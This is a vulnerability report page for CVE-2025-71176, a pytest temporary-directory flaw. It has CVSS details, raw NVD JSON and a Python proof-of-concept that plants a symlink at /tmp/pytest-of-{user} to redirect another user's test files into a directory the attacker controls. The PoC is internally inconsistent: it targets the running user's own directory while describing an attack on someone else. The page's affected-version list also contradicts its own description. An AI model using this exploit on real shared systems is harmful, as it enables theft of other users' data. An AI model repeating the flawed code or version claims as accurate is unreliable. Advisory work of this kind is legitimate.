Security Vulnerability Report
中文
CVE-2025-71176 CVSS 6.8 MEDIUM

CVE-2025-71176

Published: 2026-01-22 05:16:18
Last Modified: 2026-04-15 00:35:42

Description

pytest through 9.0.2 on UNIX relies on directories with the /tmp/pytest-of-{user} name pattern, which allows local users to cause a denial of service or possibly gain privileges.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

pytest < 9.0.2 (所有UNIX平台版本)
pytest <= 9.0.0
pytest <= 8.3.0
pytest <= 8.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-71176 PoC - pytest Temporary Directory Symlink Attack # This PoC demonstrates the symlink attack vulnerability in pytest import os import pwd import subprocess import tempfile import time def get_tmp_dir_pattern(username): """Generate the predictable pytest temp directory pattern""" return f"/tmp/pytest-of-{username}" def exploit_creation(): """Create a malicious symlink to exploit the vulnerability""" current_user = pwd.getpwuid(os.getuid()).pw_name target_dir = get_tmp_dir_pattern(current_user) # Create a target directory that will receive the files malicious_dir = os.path.join(tempfile.gettempdir(), 'malicious_exploit_dir') os.makedirs(malicious_dir, exist_ok=True) print(f"[*] Current user: {current_user}") print(f"[*] Target pytest temp dir: {target_dir}") print(f"[*] Malicious redirect dir: {malicious_dir}") # Remove existing directory if present if os.path.exists(target_dir): if os.path.islink(target_dir): os.unlink(target_dir) elif os.path.isdir(target_dir): os.rmdir(target_dir) # Create symlink to redirect pytest temp directory try: os.symlink(malicious_dir, target_dir) print(f"[+] Symlink created successfully: {target_dir} -> {malicious_dir}") print("[+] When target user runs pytest, files will be written to malicious directory") return True except PermissionError: print("[-] Permission denied - cannot create symlink") return False def cleanup(): """Clean up created artifacts""" current_user = pwd.getpwuid(os.getuid()).pw_name target_dir = get_tmp_dir_pattern(current_user) malicious_dir = os.path.join(tempfile.gettempdir(), 'malicious_exploit_dir') if os.path.islink(target_dir): os.unlink(target_dir) print(f"[*] Cleaned up symlink: {target_dir}") if os.path.exists(malicious_dir): import shutil shutil.rmtree(malicious_dir) print(f"[*] Cleaned up malicious directory: {malicious_dir}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-71176 - pytest Temporary Directory Symlink Attack PoC") print("=" * 60) try: if exploit_creation(): print("\n[!] Exploit setup complete. Next steps:") print(" 1. Wait for target user to run pytest") print(" 2. Check malicious_exploit_dir for created files") print(" 3. Files may include sensitive test data, cache, logs") finally: print("\n[*] Press Ctrl+C to cleanup, or run with --cleanup flag") time.sleep(1)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-71176", "sourceIdentifier": "[email protected]", "published": "2026-01-22T05:16:17.577", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "pytest through 9.0.2 on UNIX relies on directories with the /tmp/pytest-of-{user} name pattern, which allows local users to cause a denial of service or possibly gain privileges."}, {"lang": "es", "value": "pytest hasta la versión 9.0.2 en UNIX depende de directorios con el patrón de nombre /tmp/pytest-of-{user}, lo que permite a usuarios locales causar una denegación de servicio o posiblemente obtener privilegios."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-379"}]}], "references": [{"url": "https://github.com/pytest-dev/pytest/issues/13669", "source": "[email protected]"}, {"url": "https://www.openwall.com/lists/oss-security/2026/01/21/5", "source": "[email protected]"}]}}